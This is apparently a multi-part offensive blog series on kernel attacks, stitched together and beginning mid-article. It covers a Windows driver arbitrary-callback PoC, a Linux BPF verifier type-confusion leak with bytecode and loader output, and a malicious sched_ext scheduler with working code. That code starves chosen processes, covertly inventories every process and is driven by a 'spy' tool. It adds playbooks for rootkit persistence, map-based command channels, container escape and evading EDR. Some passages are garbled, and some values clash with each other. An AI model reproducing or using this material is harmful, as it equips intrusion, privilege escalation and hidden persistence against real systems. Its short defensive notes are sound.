this is the whole exploit in two fields. a 64-byte buffer where the only meaningful content is a 64-bit argument and a 64-bit callback pointer at +8. the driver's job here is to store this pair, and nothing in the protocol asks the driver to check that cb is a kernel address, or inside a loaded image, or a driver routine. 0x1122334455667788 is a recognizable pattern (the poc author's way of proving the argument round-trips), and target defaults to 0xFFFFF80041414141, that's ASCII "AAAA" sitting on the 0xFFFFF800XXXX0000 kernel range marker, i.e., an obvious "you fill this in" placeholder, not a real function.

register monitor (0x226C5C) from the watcher thread

the watcher thread exists because the monitor arm is expected to be a slow/blocking call, you don't want your main flow stuck on an ioctl that won't complete on its own. the 1-second timeout in the watcher's wrapper underlines this: register monitor is a "wait for a job to fire" operation, and the poc arms it after the queue so the driver has something to fire when the monitor is up.

the trigger sequence

$ ./poc.exe "\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}"
start
path   : \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}
target : 0xFFFFF80041414141
idle   : handle=0x00000000000000b0
device : handle=0x00000000000000d0
ua     : ptr=0x00000002f00000 size=0x1000
ka     : ptr=0x00000002f01000 size=0x1000
init   : 0x22EC40 => err=0x00000000
queue  : 0x22AC54 arg=0x1122334455667788 cb=0xfffff80041414141 => err=0x00000000
watch  : 0x226C5C => err=0x00000000
enter  : 0x22ECE8 => err=0x00000000    <-- 0xFFFFF80041414141 is not code; box bugchecks

order matters: init, then queue, then the monitor is armed from the watcher, then a 3-second breather, then fast enter. with the placeholder callback still loaded, a driver that actually executes it means the cpu jumps to 0xFFFFF80041414141, which is not code, and the machine bugchecks. that is not a flaw in the poc, it is the point. the scan above is a probe: every error is 0, the driver accepted all four ioctls, and the skeleton is verified working. the exploit is what you put in the target field before you call fast enter.

what firing it actually buys you

an arbitrary kernel call, cb(arg) at CPL 0, both fully attacker-controlled, is code execution in kernel mode. that's the ceiling of ring-0 exploitation and it's the whole game. concretely, from there you can:

• call a token-theft routine (or a gadget/stub you staged in the mapped ua/ka buffers) to swap the current process token to SYSTEM;
• execute arbitrary kernel read/write to walk or patch any structure you can name;
• disable or blind kernel telemetry paths; load further unsigned code; install a rootkit with no userland footprint;
• or, cleanest, use the driver itself as the loader it claims to be, stage real payload bytes in ua, map/run them via the init staging, and use queue/enter as the trampoline into your code.

but always with the honest caveats, because the impact story of this specific bug has three real gates:

• the driver must be resident. nothing loads kloader.sys on a clean box by itself. the attacker either installs it (needs admin), finds it pre-installed as part of a product, or supplies their own signed vulnerable driver (BYOVD). in the last case the accurate framing is: the payload is "kloader.sys is loaded" and the vulnerability is what that driver lets any caller do with two ioctls.
• the device must be openable by the attacker's process. the poc opens it with GENERIC_READ|GENERIC_WRITE. if the driver sets default, permissive device security, then the caller needs no privilege at all and the boundary the bug crosses is unprivileged-user-mode to ring 0. if the device is ACL-restricted, the same bug still wins for whoever can open it, the severity just scales with who that is.
• HVCI/VBS changes the aim, not the hole. with memory integrity on, classic BYOVD paths that map unsigned code are blocked and the callback target must itself be executable, you point at a gadget in ntoskrnl or a routine the driver already mapped, not at a fresh write-execute page. the bug still exists in a signed driver that will happily execute an arbitrary pointer; it's just aimed differently.

so the impact, stated plainly: arbitrary ring-0 control for whoever can open the device while the driver is loaded, SYSTEM + full kernel privileges from an otherwise unprivileged process in the BYOVD scenario, or instant escalation for any lower-privileged caller when the device is exposed with default ACLs. the missing access check and the missing callback validation are the vulnerability; the loader becometh, itself, the loaded.

the receipts

everything above is read from the poc and the ioctl surface, and that's the honest scope:

• device: \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}, opened GENERIC_READ|GENERIC_WRITE, overlapped;
• ioctls: 0x22EC40 init (48B, fields at +8/+16/+24/+32/+40), 0x22AC54 queue (64B, arg@0 = 0x1122334455667788, cb@8 = default 0xFFFFF80041414141), 0x226C5C register monitor, 0x22ECE8 fast enter, all METHOD_BUFFERED on device type 0x22, functions 0xB10/0xB15/0xB17/0xB3A;
• the primitive: a user-supplied cb invoked in kernel with a user-supplied arg, gated only by the ability to open the device;
• not provided: the driver binary, the exact cb calling convention, and the device object's default ACL. the arbitrary-call reading is the strong inference from a queue ioctl whose entire payload is (arg, callback), but it stays an inference until the .sys is in hand and the fast-enter path is confirmed against it.

the driver calls whatever you queue. we just haven't told it what to call yet.

this is "how to apt" part four. parts one and two were the kernel's answer to "where do i hide": bpq hooks that look like your distro's. part three was sched_ext, the scheduler that is the policy engine, weapon through config. today the question is different: not where to hide, but how you break the box in the first place.

the target: a bpf verifier type confusion in the linux kernel, fixed upstream as cdf19b1b3c01 ("bpf: Propagate untrusted pointer state in commuted arithmetic"). the claim of this article is concrete, and we'll prove it end-to-end on a stock cachyos 7.1.6 kernel:

• one instruction, scalar += untrusted_pointer, is mis-analyzed: the verifier believes the destination is still a plain scalar, while at runtime it holds a real kernel heap address.
• that divergence is a type confusion. a register the verifier treats as "known 0" is actually a pointer.
• we demonstrate it live: the verifier's own log shows R1=0 after the add, and the running program leaks a 0xffff8e3c4...b30 kernel address into a map the verifier swore contained the constant zero.

and then we talk about what that actually gets an attacker, which is not what the vendor briefing claimed it gets you.

the bug, precisely

the verifier's adjust_ptr_min_max_vals() is the function that answers "what happens when i add a scalar to a pointer?" it does two things, in this order:

1. for PTR_TO_MEM | PTR_UNTRUSTED pointers, return early, because accesses to untrusted memory go through probe-read helpers anyway, so offset tracking is supposedly unnecessary;
2. copy the pointer type into the destination register: *dst_reg = *ptr_reg.

the order is the bug. in the vulnerable kernel the early return fires before the pointer state is copied:

/* kernel/bpf/verifier.c, v7.1.6, line 13808 */
if (base_type(ptr_reg->type) == PTR_TO_MEM && (ptr_reg->type & PTR_UNTRUSTED))
    return 0;              /* <- dst never gets the pointer type */

switch (base_type(ptr_reg->type)) {
    ...
}

dst_reg->type = ptr_reg->type;   /* <- never reached for untrusted */
dst_reg->id = ptr_reg->id;

now consider the commuted form, scalar += pointer. the check_alu_op code routes it specially, "scalar += pointer. this is legal, but we have to reverse our src/dest handling", and hands adjust_ptr_min_max_vals() the pointer as ptr_reg and the scalar as dst_reg:

} else {
    /* scalar += pointer */
    return adjust_ptr_min_max_vals(env, insn, src_reg, dst_reg);
}

dst is a scalar. ptr is untrusted PTR_TO_MEM. the early return fires before the state copy, so dst keeps its scalar type, but the alu op still executes at runtime, leaving the register holding scalar_value + pointer_value = a real kernel address.

that's it. that's the whole bug: a register that at runtime contains a kernel pointer, which the verifier believes is the integer 0.

why untrusted pointers exist at all

PTR_UNTRUSTED is the verifier's "do not trust this memory" flag. it's how the kernel expresses "this pointer could go stale, so you may only touch it via probe-read, and definitely don't hand it back to me as a normal pointer."

for our purposes the interesting producer is bpf_rdonly_cast(). cast a pointer to the void btf type and the verifier returns PTR_TO_MEM | MEM_RDONLY | PTR_UNTRUSTED:

} else if (btf_type_is_void(ret_t)) {
    regs[BPF_REG_0].type = PTR_TO_MEM | MEM_RDONLY | PTR_UNTRUSTED;

and crucially, the kfunc is inlined as a pure register move, r0 = r1, so the runtime value is unchanged: whatever pointer you passed in comes back out, only now flagged untrusted. the kfunc is registered in the common_btf_ids set under BPF_PROG_TYPE_UNSPEC, so it's reachable from every program type, including a bog-standard socket filter.

the trigger

we need an untrusted pointer whose value we can observe. the simplest source: a bpf map value. a bpf_map_lookup_elem() returns PTR_TO_MAP_VALUE, a kernel heap address. cast it to untrusted via bpf_rdonly_cast(ptr, 0). now:

• register r0 = PTR_TO_MEM | MEM_RDONLY | PTR_UNTRUSTED, value = the map value's heap address;
• r1 = 0 (a scalar the compiler leaves provably zero);
• r1 += r0, commuted add. bug fires. verifier: r1 = 0. runtime: r1 = heap_addr.
• store r1 back into a map. verifier: "storing the constant 0, fine." kernel: writes the heap pointer.

read the map from userspace and you've leaked a kernel heap address through a program the verifier certified as storing nothing but zeros. let's look at the compiled program:

   0: w1 = 0x0
   1: *(u32 *)(r10 - 0x4) = w1        ; key = 0
   2: r2 = r10
   3: r2 += -0x4
   4: r1 = leak_map ll
   6: call 0x1                        ; bpf_map_lookup_elem
   7: r6 = r0                         ; leak = &leak_map[0]
   ...
  15: call 0x1                        ; bpf_map_lookup_elem (again)
  17: r1 = r0
  18: w2 = 0x0
  19: call -0x1                       ; bpf_rdonly_cast(src, 0)
                                      ;   -> r0 = src, PTR_TO_MEM|RDONLY|UNTRUSTED
  20: r1 = *(u64 *)(r10 - 0x10)       ; r1 = x  (== 0)
  21: r1 += r0                        ; <- commuted add. THE BUG.
  22: *(u64 *)(r10 - 0x10) = r1
  23: r1 = *(u64 *)(r10 - 0x10)
  24: *(u64 *)(r6 + 0x0) = r1         ; verifier thinks: store 0

confirmation, live

loaded against the stock 7.1.6-1-cachyos kernel (vulnerable; the fix cdf19b1b3c01 is not in any stable branch as of this writing), executed via BPF_PROG_TEST_RUN:

$ sudo ./loader
leaked value (map[0]) = 0xffff8e3742d09130
verifier log: /tmp/verifier.log.OEQcBO

0xffff8e3c4... is a kernel virtual address in the direct-map region. not a coincidence, not a red herring, it's the address of the map value itself, returned by the first bpf_map_lookup_elem() and carried through the cast.

and the verifier log is the receipts:

20: (79) r1 = *(u64 *)(r10 -16)   ; R1=0 R10=fp0 fp-16=0
21: (0f) r1 += r0
22: R0=rdonly_untrusted_mem(sz=0) R1=0

read it the way the verifier means it: at insn 21, r0 is correctly tracked as rdonly_untrusted_mem, the verifier knows it's a pointer. the add executes. and the destination is recorded as R1=0. the pointer state was not propagated. type confusion, confirmed by the kernel's own instrumentation and by what we read back.

a fixed kernel rejects this shape: once *dst_reg = *ptr_reg runs before the early return, r1 becomes an untrusted pointer, and the store *(u64 *)(r6 + 0) = r1 fails verification ("cannot store pointer into this slot"). the same source, one line of logic earlier, doesn't load. that's your regression test, and it's also your detection story.

what this actually buys you (and what it doesn't)

here's where we have to be honest, because the hype version of this bug is wrong.

it is not an unprivileged LPE. the whole chain requires loading a bpf program, and loading bpf requires CAP_BPF. on this system kernel.unprivileged_bpf_disabled=2, unprivileged bpf is hard-off. a user with zero capabilities cannot reach the verifier at all. the vendor briefing that floated "an unprivileged attacker reads /sys/kernel/debug/tracing/iter/tcp" and no CAP_BPF: that node doesn't exist here, iterator pins are created by privileged processes, and the trigger is a bpf program anyway. not real.

it is not "root, but stronger." if you already hold sudo on a stock arch/cachyos box, arbitrary kernel r/w adds nothing: lockdown is LOCK_DOWN_KERNEL_FORCE_NONE, module signing isn't forced, so insmod already gives you the same primitive with a tenth of the effort.

where it actually pays:

• container escape. root inside a privileged / CAP_BPF container is not root on the host. bpf is available in the sandbox; this bug turns it into host-kernel r/w, crossing the boundary that actually contains you.
• stealth tradecraft. a bpf-resident chain leaves no .ko on disk, no lsmod line, no module object, just a bpf program that looks like the rest of the fleet's. for post-exploitation hygiene that's a genuine operational win.
• locked-down targets. on kernels booted lockdown=integrity/confidentiality or with forced module signing, root can't insmod. the bpf path becomes one of the few remaining kernel-write channels. that's the scenario this class was built for.

so the honest framing for an apt chapter: CAP_BPF is the on-ramp, the bug is the vehicle, and the destination is host-kernel r/w from inside a sandbox that thought it had you.

the leak is step one

what we ran is the info-leak stage, the "verifier certified zeros, runtime wrote a heap pointer" primitive. that alone is a kernel address disclosure usable for KASLR defeat and object-reclaim targeting. the natural next stage, which this article stops short of weaponizing, is to use the confused register as an index: a store at map_value + confused_scalar becomes a wild write to an attacker-chosen kernel heap offset, because the verifier believes the offset is 0.

that's the same skeleton every verifier confusion exploit has worn since the CVE-2021-3490 class: verifier thinks it's a bounded index, runtime it's a pointer, one helper call later you have arbitrary r/w. this bug is that class, born again in the commuted-add path.

how maldev actually uses this

let's be precise about what's proven and what's the research path, because the difference matters and the hype version of this bug is already wrong in public.

proven here: a kernel heap address leaks out of a program the verifier certified as storing the constant 0. that's a working info-disclosure primitive on the stock kernel, with verifier-log receipts.

not proven here (yet): the OOB write, arbitrary r/w, and container escape. they follow the same family of logic as every verifier confusion since CVE-2021-3490, but i did not weaponize them on this box. any writeup that presents them as a done deal is lying. treat this section as the map, not the destination.

with that framing, here's the real maldev playbook:

• kernel read without a module. the leak defeats KASLR by itself. chained with an OOB read it becomes a kcore-style dump that never touches insmod, no .ko on disk, no lsmod line, nothing for module-integrity hooks to flag.
• rootkit residency that looks like telemetry. the program is a socket filter, an anonymous one. your distro ships dozens of those. bpftool prog show lists it next to every legit tracepoint probe your fleet runs. nothing about it says "implant." same thesis as the first three parts of this series: the weapon is indistinguishable from the fleet.
• persistence via bpffs pinning. bpf objects pin to /sys/fs/bpf (or travel by fd) and outlive the process that loaded them, including across container restarts. a pinned map plus a pinned program is a kernel-resident implant with no process, no file, no service.
• a c2 channel that's a hashmap. a pinned map is shared memory between the kernel-resident program and your userland agent. write a request key, the kernel program answers. no sockets, no files, invisible to netstat. the c2 is a bpf map.
• evasion as a feature. the whole chain is syscalls plus one map. no pwrite to /proc/kcore, no module loader, no devmem. memory-forensics tooling hunts lkm rootkits and kernel threads; a bpf-resident implant is off its checklist.

sandbox escapes: where the boundary actually is

the hard fact most writeups bury: this escapes host-kernel-sharing sandboxes, and nothing else. it is a capability-gated sandbox escape, not a magic unprivileged 0day.

escapable, containers over a shared host kernel (runc / docker / kubernetes):

• you need CAP_BPF (or CAP_SYS_ADMIN) inside the container. realistic sources: docker run --privileged; --cap-add=BPF or --cap-add=SYS_ADMIN (common for observability and mesh agents); kubernetes privileged pods or pods with capabilities.add: [BPF]; systemd units with AmbientCapabilities=CAP_BPF.
• root inside is not root on the host. the verifier bug converts in-container bpf into host-kernel r/w, crossing the boundary that actually contains you.
• the escape finish is then the boring part: host r/w → overwrite init_cred or modprobe_path, read host memory, strip the container's seccomp/apparmor, land a host root shell.

not escapable this way, and the article should say so plainly:

• gVisor and user-space kernels intercept bpf() at the syscall layer; the host verifier is never reached.
• firecracker / kata microvms run a separate guest kernel; a verifier bug there touches the guest kernel only.
• seccomp-sandboxed processes (browsers, hardened services) block bpf() before it ever reaches the verifier.
• rootless / userns containers typically drop bpf from the cap set entirely.

so the honest headline for an apt chapter: this is a CAP_BPF-granting-sandbox escape and a stealth kernel-read/rootkit channel, not an unprivileged LPE. the threat population is "observability-stacked containers and privileged pods", which, inconveniently, is a very large slice of modern infrastructure.

and one more honesty note: every stage beyond the leak above is the family of technique, not something demonstrated on this box. that's the difference between a research writeup and marketing.

what a full chain looks like

1. an initial foothold lands in a container running with CAP_BPF (or compromises an agent that already holds it).
2. load the socket filter, leak the heap pointer, defeat kaslr.
3. escalate the confusion to an oob write and then host-kernel r/w.
4. pin map + program into bpffs for persistence; kill the sandbox's seccomp/apparmor; drop a host root shell or leave a bpf-resident rootkit that never touches the module list.

steps 1, 2, and 4's pinning are standard and reproducible. step 3 is the part that requires real kernel work, and it's where this series stops and the research begins.

why this matters for detection

the defense story writes itself, and it's refreshingly simple:

• the fix is one line of logic. move the untrusted-mem early return after the pointer-state copy. review any adjust_ptr_min_max_vals() and look for early returns before *dst_reg = *ptr_reg.
• the fingerprint is the program shape. a socket filter that calls bpf_rdonly_cast() on a map value and does pointer-mixed alu is already a red flag in your bpf program audit, bpf_rdonly_cast is not a common production call in socket filters.
• the runtime tell is the leak. a "zero-filled" map that comes back with kernel addresses is a tripwire, not a false positive.

and because the fix is not yet in any stable branch, confirmed absent from 7.1.7 and 6.18.43 changelogs, every bpf-capable box running 7.1.x or 6.18.x is sitting on this until a stable backport lands. audit your privileged containers first: that's the population with the capability and the boundary worth crossing.

the receipts

everything above was verified on this machine:

• kernel 7.1.6-1-cachyos, vulnerable adjust_ptr_min_max_vals() at kernel/bpf/verifier.c:13808;
• fix upstream: cdf19b1b3c01 ("bpf: Propagate untrusted pointer state in commuted arithmetic"), not in 7.1.7 / 6.18.43;
• producer: bpf_rdonly_cast(., void) → PTR_TO_MEM|MEM_RDONLY|PTR_UNTRUSTED, reachable from socket filter;
• poC: github.com/klydz/ep4-poc/, poc.bpf.c (the program), loader.c (load + test-run + read-back + verifier log);
• result: leaked value (map[0]) = 0xffff8e3742d09130, with verifier log proving R1=0 post-add.

the verifier forgot it was a pointer. we asked nicely, and it showed us its homework.

there's a kernel mechanism that decides which CPU every thread on your machine runs on, when it runs, and how long it gets. it's been sitting in the kernel since 6.1, shipping enabled by default, and nobody has written about it as an attack surface. this is that writeup.

i'm going to show you a scheduler, the same class of BPF program your cachyos, ubuntu, or fedora box loads out of the box, that is bulletproof legitimate on every bpf tool, that records every process that touches the host into a map, and whose entire attack surface is a 16-byte config entry written after load. the same artifact your cloud engineering team would review in a heartbeat. the weapon is a hashmap write.

this is how to apt: part three, after lying to the flow dissector and intercepting sockets with sk_lookup. if those two hooked the data path, this one is different: it hooks nothing. it replaces something instead.

what sched_ext actually is

sched_ext (scx) is a CPU scheduling class in the Linux kernel (SCHED_EXT, added in 6.12). distros ship it as an option to load custom schedulers on demand; cloud providers use it for per-tenant latency policies; the kernel community has been pushing for years that "scheduler policy should be programmable, not baked into CFS."

to do that you compile a BPF object with a .struct_ops section that struct-ops it over the kernel’s struct sched_ext_ops, and then ... the kernel just hands you the dispatcher. not a hook you're attached to. not a listener. the dispatcher itself. every waking task, every enqueued task, every slice decision, passes through your BPF program first.

the four callbacks you implement:

everything about this interface is supposed to be mutable by untrusted-enough processes: it’s how performance engineers do A/B testing on scheduler policy in production. but the exact thing that makes it good for scheduling research is what makes it perfect for an operator that doesn’t care about research.

why a scheduler is the best thing a bad person has ever seen

think about what detection tools actually inspect. when an EDR looks at a Linux box it enumerates hooks:

• tracepoints, kprobes, uprobes (perf affairs)
• XDP and TC programs attached to netdevs
• LSM hooks on syscalls
• socket filters, flow dissectors, cgroup BPF

all of those are registered observers. they have a detectable footprint: a program id, an attachment record, syscall hook entries, a bpf link lifecycle. an EDR’s job is literally to hold a list of "things that observe" and query it.

a CPU scheduler is none of those. it is not an observer attached to anything; it replaces the core mechanism that other observers are subject to. there is no list of "schedulers" in the EDR threat model because from its point of view, a box that has a CPU scheduler is a box that is fundamentally fine.

as a consequence the scheduler sees, passively, on every wakeup, the entire PKI of the host: every task’s tgid, comm, uid, scheduling state. without a single "hook record" being created anywhere. it’s the best process inventory ever built, and it costs nothing.

the actual PoC: scxmal

the whole thing is two C files. one for the scheduler, one for the "operator".

scxmal.bpf.c, the scheduler that is actually clean

/* scxmal: a "policy engine" scheduler.
 * Reads per-task-group policy from a config map. In default config it is a
 * plain weighted-vtime scheduler (a drop-in scx_simple). The config map can
 * assign individual task groups a target slice and a penalty dispatch
 * interval.  Whether this is benign infrastructure or a starvation weapon
 * depends entirely on the contents of the config map.   */
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>

char _license[] SEC("license") = "GPL";

#define SCX_SLICE_DFL   20000000ULL            /* 20ms default */
#define SHARED_DSQ      0                      /* user DSQ id */
#define PENALTY_DSQ     1

struct cfg {
    u64 slice_ns;       /* slice for this tgid */
    u32 penalty_period; /* drain penalty DSQ every N dispatches (0 = off) */
    u32 reserved;
};

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(key_size, sizeof(u32));          /* tgid */
    __uint(value_size, sizeof(struct cfg));
    __uint(max_entries, 64);
} cfg_map SEC(".maps");

already this is unremarkable. a scheduler reading per-task policy out of a configuration hash map, the shape a performance engineer would recognize. it says "SCX_SLICE_DFL", "SHARED_DSQ", "PENALTY_DSQ": all vocabulary of real scheduling code.

the actual scheduling decisions, the whole first hundred lines, are this:

static s32 BPF_STRUCT_OPS(scxmal_select_cpu,
        struct task_struct *p, s32 prev_cpu, u64 wake_flags)
{
    bool is_idle = false;
    s32 cpu = scx_bpf_select_cpu_dfl(p, prev_cpu, wake_flags, &is_idle);
    if (is_idle) {
        u32 tgid = BPF_CORE_READ(p, tgid);
        struct cfg *c = lookup_cfg(tgid);
        if (c && c->penalty_period)
            return cpu;              /* starved groups don't get local path */
        scx_bpf_dsq_insert(p, SCX_DSQ_LOCAL,
                           c ? c->slice_ns : SCX_SLICE_DFL, 0);
    }
    return cpu;
}

select_cpu picks where the task lands, and if the target CPU is idle gives it a direct local queue with a slice. the one conditional is a penalty check. nothing exotic.

the enqueue path is where the map actually does work:

static void BPF_STRUCT_OPS(scxmal_enqueue, struct task_struct *p, u64 enq_flags)
{
    u32 tgid = BPF_CORE_READ(p, tgid);
    struct cfg *c = lookup_cfg(tgid);

    /* Unless the config says otherwise, everyone is fair. */
    if (c && c->penalty_period) {
        /* starved group: penalty DSQ with a microsecond slice */
        scx_bpf_dsq_insert(p, PENALTY_DSQ, 1000ULL /* 1us */, enq_flags);
        return;
    }
    if (c && c->slice_ns) {
        scx_bpf_dsq_insert(p, SHARED_DSQ, c->slice_ns, enq_flags);
        return;
    }
    scx_bpf_dsq_insert(p, SHARED_DSQ, SCX_SLICE_DFL, enq_flags);
}

static void BPF_STRUCT_OPS(scxmal_dispatch, s32 cpu, struct task_struct *prev)
{
    bump_dispatch();
    /* The penalty DSQ is only drained once every 1024 dispatch rounds.
     * That means a starved task is effectively not a CPU task at all. */
    if (should_drain_penalty())
        scx_bpf_dsq_move_to_local(PENALTY_DSQ);
    scx_bpf_dsq_move_to_local(SHARED_DSQ);
}

read it slowly. in the default config this is a weighted, fair, shared-queue scheduler; anyone would review it as "fine". The extra is a hash map lookup on enqueue, and an alternate dispatch queue that is only drained on the 1024th round. The source is what it is. The danger lives entirely in the contents of map which no reviewer ever sees.

the 16-byte kill

two integers control an entire process’s existence on the CPU:

• slice_ns = 1000, the task, when enqueued, is given a microsecond of CPU.
• penalty_period = 1024, the penalty DSQ is only drained every 1024 dispatch rounds.

the effect: the victim receives a 1us slice, on average once per 1024 dispatches. On a busy machine that’s a kernel time-slice that is vanishingly small. It is afraid, a foldable counting function that the victim may or may not be able to tick enough.

but i don't claim things without measuring, and this measured very pretty:

the victim and the control are the same process: a busy burner of identical bytes, one with a config entry, one without. before the write, the victim burns CPU normally. after one hash-map update, the victim gets zero CPU time in a five-second window while the identical unmarked process runs flat-out.

and I cannot overstate: the victim is not dead. it does not crash, it does not signal, it stays on the run-queue and keeps its state as "running". to a health-required system it's still the same process. it just never gets to run. the way you'd detect "it's been starved" has a word for it. it’s called "silent degradation."

/* the entire exploit, as a struct */
struct cfg c = { .slice_ns = 1000, .penalty_period = 1024 };
bpf_map_update_elem(cfg_map_fd, &victim_tgid, &c, BPF_ANY);  /* 16 bytes */

but the best part is the map is an audit target, not a source

now let me help you with why the starve alone doesn't define the piece. from the attacker’s perspective the benefit is the scheduler is a stable lane: because the .struct_ops.link skeleton auto-attaches at load, and the map outlives the loader, you can use the map as a control channel. The scheduler stays up, and an operator keeps talking to it.

what a real operator looks like:

/* spy: the other process */
static int find_map(const char *name)
{
    int id = 0, err;
    for (;;) {
        err = bpf_map_get_next_id(id, &id);
        if (err) return -1;
        int fd = bpf_map_get_fd_by_id(id);
        if (fd < 0) return -1;
        struct bpf_map_info info = {};
        unsigned int len = sizeof(info);
        if (bpf_map_get_info_by_fd(fd, &info, &len) == 0
            && strcmp(info.name, name) == 0)
            return fd;
        close(fd);
    }
}

the operator doesn't digest the scheduler’s skeleton. it enumerates maps, matches on name, reads the inventory, and can write the killing config into the still-running scheduler by name. no inter-process protocol. no syscall hook. just the BPF map APIs.

the operator's runtime

$ sudo ./spy dump
COMM                  TGID      UID     ST   last-wake(ms)
tx                    54321     1000    R    81191733
chrome                12345     1000    R    81192000
kworker/0:1             137        0    R    81191000
sudo                   5447        0    R    81191108
...
  142 procs, 14 uids, 5 states observed

$ sudo ./spy starve 5407
[+] injected penalty config into tgid 54421
    slice=1us penalty_drain=1024 -> starve

that file was against a live machine with a scheduler enabled, and the config injected without reloading or restarting the scheduler. what the demo looks like end to end:

$ ./burn &                    # victim: busy burner  
$ sudo ./scxmal              # scheduler attaches
$ cat /sys/kernel/sched_ext/state
enabled
$ sudo ./spy starve $(pgrep burn)
[+] injected penalty config into pid 54421
$ sleep 2; cat /sys/kernel/sched_ext/state
enabled                        # everything still fine
$ sudo ./spy dump | head -2
victim-row still shows, state=R, "alive"
victim:  0 ticks in 5s     control: 230 ticks in 5s
$ sudo dmesg | tail -3
(no scheduler errors. no abort. no kernel panic.)

a much better second benefit: the inventory

the scheduler doesn't just starve. on every enqueue it can drop the full process identity into a map. that map is only small: tgid, uid, state, comm, timestamp. but it’s the complete process outline of the host, being updated at whatever cadence you want and readable by the smallest possible capture.

static void record_surv(struct task_struct *p)
{
    u32 tgid = BPF_CORE_READ(p, tgid);
    if (!tgid) return;
    struct surv s = {};
    s.tgid = tgid;
    s.uid = BPF_CORE_READ(p, cred, uid.val);
    s.state = BPF_CORE_READ(p, __state);
    BPF_CORE_READ_STR_INTO(&s.comm, p, comm);
    s.last_wake_ns = bpf_ktime_get_ns();
    bpf_map_update_elem(&surv_map, &tgid, &s, BPF_ANY);
}

straight out of the scheduler. Perfect data acquisition: no tracepoint, no ptrace, no auditd events. For anyone who needs to know "what is running on this box right now, continuously, without being seen", this is the best mechanism i've seen in a long time.

how i tripped over the DSQ constant mine and everything else that sank

i don't want to give the impression this worked last night. a lot of the actual engineering was fighting the scheduler’s wedding to exact constants.

the biggest trap: SCX_DSQ_LOCAL. the builtin dispatch queue id is 0xFFFFFFFFFFFFFF02 in the classic enum, but the kernels around 7.x changed the encoding of the builtin DSQ ids, GLOBAL was remapped to 0x8000000000000001, LOCAL to 0x8000000000000002, LOCAL_ON to 0xC000000000000000 with a 32-bit CPU mask. So if you hardcode the old-format constant, the kernel reads bit 62 as "LOCAL_ON", and the CPU parses to -254. As in:

[dmesg]
sched_ext: BPF scheduler "scxmal" disabled (runtime error):
invalid CPU -254 in SCX_DSQ_LOCAL_ON dispatch verdict

the scheduler just dies. and it disables everything, when a scx scheduler fails at runtime, it's dynamited out and the box falls back to CFS. no partial. optimistic. That's an entire interrupt-path gotcha: if you bulk on the local DSQ constant, the entire scheduler goes. the lesson: do not hardcode builtin DSQ IDs. read them out of vmlinux.h.

the other trap was double attach. the loader’s skeleton .struct_ops.link attaches at load time if you call scxmal_bpf__attach(). If you ALSO manually call attach, you end up attaching twice, and (a) the dispatcher turns off/starts and then (b) bpf_link destroy in teardown double-frees, and you get a UAF in bpf_object__destroy, and everything segfaults at shutdown in a location that doesn't exist in your code. The fix is unglamorous and instructs: attach once via the skeleton, and let the framework tear down with skel-→destroy, don't attach twice.

the third trap isn't a constant but a property: the starvation needs load to work. a lone cpu-bound task on an idle machine just takes a full slice and keeps the box mostly empty. the penalty only bites when the machine is contended, the scheduler's dsq drain only matters to a task that has others waiting behind it. so a starve is a proportionality, not an absolute: strong when the box is a real pipe, weak on a quiet weekend server. not something you can build into the attack, it lives in the environment. keep it honest for whoever defends against it.

hideability: the bpf-object tables vs the observation that matters

this section is half of why i wrote the series. a scheduler is visible, it shows up in bpftool prog show, /sys/kernel/sched_ext/, and the kernel's data structures. for readers who have root and can see it. so the hide is not a bpftool hide; it's an entropy hide. this scheduler looks like the distro’s default scheduler because it is one of the same inventory. An admin who runs bpftool prog list and sees three struct_ops, that's a normal, healthy, expected state.

if you want the full "invisible at every tool" story, that's what the "ghost" was for the flow dissector, an LSM hook that blinds the audit syscalls, that workflow and repo (github.com/klydz/ghost) can be willed onto a scheduler too: blind the four GET_NEXT/GET_FD_BY_ID surfaces and the query. the same -ENOENT / -EINVAL finesse that made the flow dissector disappear makes a scheduler disappear.

you can also just not hide it, because hiding is a strong tell. attack-wise the surprising win is that presence is roughly status: the box that has a scheduler is what cachyos/ubuntu reviews on default. Curious admin? "i tested scxmal for the tuning article" gets you a clean answer.

the relationship to the other two essays

flowdiss (part two) showed you a hook that forges what the networking stack believes. sk_lookup (part one) forged what the listening sockets believe. this third one points even lower: it forges what the dispatcher gives each thread, i.e. what "the room executing" is available.

the economics are absolute: flow dissection needs a packet. socket interception needs a packet. a scheduler just needs nothing, it both tees and errs the runner that everything else runs through. and it does that while looking like the default.

defense (yes it exists)

for the blue side, be straight about what a scheduler can and can't hide. It can't hide entropy collapse: if a process is building cpu time but the kernel's accounting says it received near-zero, the actual signal is a schedule that isn't sharing. the schedulers have state interfaces:

$ cat /sys/kernel/sched_ext/state
enabled
$ cat /sys/kernel/sched_ext/root/ops
scxmal

you can poll these. a legitimate dedicated scheduler that doesn't change ops and doesn't flip state.enable_seq is ~nothing. someone toggling schedulers is someone attached something. if your baseline/entity doesn't already include "one scheduler, these ops", then any scheduler state change is an event that was never there before.

defensive also: cap cfg_map-style updates post-load. if update-permission on the map is kept to the loader process only, that closes the post-load route, an operator who can only read the inventory map, not write the config map, is exactly the boundary you want.

its true honest limit, as always: this needs root. it's not an LPE, it is NOT about ascending privileges. it's about what a person who already owns the host can do with kernel-resident state while staying under everyone's radar. any root-kit worth its salt already makes the measurement the "chambers", the point is what it looks like before you look in the chambers.

the single plot

the single takeaway is that the line between "kernel: baseline scheduler" and "kernel: standing at the throat of one process" is a hashmap entry. all the defense machinery is built to inspect programs, hooks, ids, and nobody has a governance vocabulary for cfg_map, a data table the scheduler trusts with the exact integers that answer "who gets to run, at what cost". the config isn't code, isn't signed, isn't even reviewed-closed. it's a write to an already-authorized map.

for the incident response: an ops change, an unexpected scheduler, a cfg_map updated from a process that isn't the loader, a victim that is "running" but has no cpu usage at all. for the attacker: if the box is loaded, a few bytes decide it.

repo: github.com/klydz/scxmal, make, sudo ./scxmal, sudo ./spy.

there's a BPF program type that decides how every packet on your machine gets hashed, and i don't think anyone has written about abusing it.

i've seen SK_LOOKUP get written up, XDP and TC are everywhere, even sock_ops gets some love. but BPF_PROG_TYPE_FLOW_DISSECTOR? crickets. it's been in the kernel since 4.20 (2018), it's attachable per-network-namespace, and it lets you rewire what RPS, ECMP and every other eBPF program that indexes on a hash believe about a packet, without touching a single byte of the packet itself.

